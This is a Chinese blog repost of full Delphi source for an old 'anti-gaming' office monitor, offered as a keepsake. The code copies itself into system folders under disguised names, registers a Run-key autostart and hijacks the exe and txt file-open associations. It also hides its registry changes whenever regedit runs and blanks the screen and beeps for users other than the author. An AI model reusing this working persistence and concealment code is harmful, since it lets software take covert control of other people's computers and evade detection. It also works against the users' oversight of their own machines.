本文整理自网络，侵删。
偶然翻到很久以前用DELPHI写的一个小程序，实现功能是在后台默默关闭符合条件的进程，并隐藏自身。编写目的是为了防止办公电脑运行游戏。
实现原理是：
1、程序运行后将自身以不同的名称一式三份存到系统各目录中，将其中一个COPY写到注册表里开机自启动，然后修改注册表中txt文件和exe文件打开方式分别指向另两个COPY，达到监控目的。
2、程序一但激活首先会确认各COPY是否存在以及注册表关联是否正常，然后再检查系统是否运行在禁止名单中的进程，发现就杀死。
3、如果程序监控到用户运行regedit则会将注册表改回正常值，当regedit退出后再将修改写回，以防用户发现。（这在杀毒软件还很落后的年代效果还是相当好的）
4、程序保留了卸载的功能，代码里有写。
自己感觉挺有意思，把代码发上来留个纪念。
//为了防止一些人上班就玩游戏的恶习所编
program HK;
uses
Windows,
Messages,
SysUtils,
System,
Classes,
Registry,
Forms,
Controls,
LoadDLL in 'LoadDLL.pas';
var
I:Integer;
SPath,WPath:PCHAR;
pa:string;
hnd: THandle;
sp:boolean;
sFileName:String;
//function RegisterServiceProcess(dwProcessId, dwServiceType: DWord): Bool; stdcall;
//function RegisterServiceProcess; external 'Kernel32.dll' Name 'RegisterServiceProcess';
procedure procRun(exeName,exePath:PChar;trace:boolean);
var
SUInfo: TStartupInfo;
ProcInfo: TProcessInformation;
begin
FillChar(SUInfo, SizeOf(SUInfo), #0);
with SUInfo do
begin
cb := SizeOf(SUInfo);
dwFlags := STARTF_USESHOWWINDOW;
wShowWindow :=1;
end;
if CreateProcess(NIL,exeName, NIL, NIL, FALSE,CREATE_NEW_CONSOLE or NORMAL_PRIORITY_CLASS, NIL,exePath, SUInfo, ProcInfo) then
begin
if trace then
WaitForSingleObject(ProcInfo.hProcess, INFINITE);
CloseHandle(ProcInfo.hProcess);
CloseHandle(ProcInfo.hThread);
end;
end;
procedure procSetReg(rest:boolean);
var
Reg:TRegistry;
begin
Reg:=Tregistry.Create;
try
if rest then
begin
reg.rootkey:=HKEY_CLASSES_ROOT;
if reg.OpenKey('\txtfile\shell\open\command',true) then
reg.WriteExpandString('',WPath+'\NOTEPAD.exe %1');
reg.closekey;
if reg.OpenKey('\exefile\shell\open\command',true) then
reg.WriteExpandString('','"%1" %*');
reg.closekey;
reg.RootKey:=HKEY_LOCAL_MACHINE;
if reg.openkey('\Software\Microsoft\Windows\CurrentVersion\Run',True) then
reg.DeleteValue('SysOleRun');
reg.closekey;
end
else
begin
reg.RootKey:=HKEY_LOCAL_MACHINE;
if reg.openkey('\Software\Microsoft\Windows\CurrentVersion\Run',True) then
reg.writestring('SysOleRun',spath+'\ObjDDC.exe');
Reg.CloseKey;
reg.rootkey:=HKEY_CLASSES_ROOT;
if reg.OpenKey('\txtfile\shell\open\command',true) then
reg.WriteExpandString('',spath+'\WinODBC.exe %1');
reg.closekey;
if reg.OpenKey('\exefile\shell\open\command',true) then
reg.WriteExpandString('',spath+'\OLEDevice.exe %1 %*');
reg.closekey;
end;
finally
Reg.Free;
end;
end;
procedure BeepEx(feq:word=1200;delay:word=1);
procedure BeepOff;
begin
asm
in al,$61;
and al,$fc;
out $61,al;
end;
end;
const
scale=1193180;
var
temp:word;
begin
temp:=scale div feq;
asm
in al,61h;
or al,3;
out 61h,al;
mov al,$b6;
out 43h,al;
mov ax,temp;
out 42h,al;
mov al,ah;
out 42h,al;
end;
sleep(delay);
beepoff;
end;
procedure UserPass();
var
a,b:integer;
t:longword;
UserName:PCHAR;
begin
if sp then
begin
t:=255;
GetMem(UserName,255);
try
getusername(UserName,t);
if UserName<>'lykyl' then
begin
messagebox(0,'非法用户，操作限制！','系统警告！',MB_OK);
for a:=1 to 1 do
begin
SendMessage(0, WM_SYSCOMMAND, SC_MONITORPOWER, 0);
for b:=1 to 2 do
begin
BeepEx(1500,200);
beepex(3000,200);
end;
SendMessage(0, WM_SYSCOMMAND, SC_MONITORPOWER, -1);
messagebox(0,'非法用户身份确定','系统警告！',MB_OK);
end;
end;
finally
freemem(UserName);
end;
end;
end;
{$R *.RES}
begin
hnd := CreateMutex(nil, True, 'irgendwaseinmaliges');
if GetLastError = ERROR_ALREADY_EXISTS then
sp:=false
else
sp:=true;
//RegisterServiceProcess(0, RSP_SIMPLE_SERVICE);
GetMem(SPath,255);
GetMem(WPath,255);
GetSystemDirectory(SPath,255);
GetWindowsDirectory(WPath,255);
SetLength(sFileName,255);
GetModuleFileName(GetCurrentProcess,Pchar(sFileName),255);
sFileName:=Pchar(sFileName);
try
if ExtractFileName(sFileName)='lykyl.exe' then
procSetReg(true)
else
begin
Copyfile(pchar(sFileName),pchar(spath+'\WinODBC.exe'),false);
Copyfile(pchar(sFileName),pchar(spath+'\OLEDevice.exe'),false);
Copyfile(pchar(sFileName),pchar(WPath+'\ObjDDc.exe'),false);
procSetReg(false);
for i:=1 to ParamCount do
if i=1 then
pa:=ParamStr(i)
else
pa:=pa+' '+ParamStr(i);
if Pa <>'' then
begin
if ExtractFileName(sFileName)='WINODBC.EXE' then
begin
UserPass();
procRun(PChar(WPath+'\NOTEPAD.EXE '+pa),PChar(ExtractFilePath(WPath+'\')),false);
end
else
if ExtractFileName(sFileName)='OLEDEVICE.EXE' then
begin
UserPass();
if AnsiStrPos(pchar(pa),'regedit')<>nil then
begin
procSetReg(true);
procRun(PChar(pa),PChar(ExtractFilePath(pa)),true);
procSetReg(false);
end
else
begin
procRun(PChar(pa),pchar(extractfilepath(pa)),false);
end;
end;
end;
end;
finally
freemem(SPath);
freemem(WPath);
if hnd <> 0 then CloseHandle(hnd);
// RegisterServiceProcess(0, RSP_UNREGISTER_SERVICE);
end;
end.
相关阅读 >>
Delphi xe android platform uses-permission[2] androidmanifest.xml 配置
Delphi 使用google translate实现tts
Delphi sendmessage postmessage 原理和区别
更多相关阅读请进入《Delphi》频道 >>
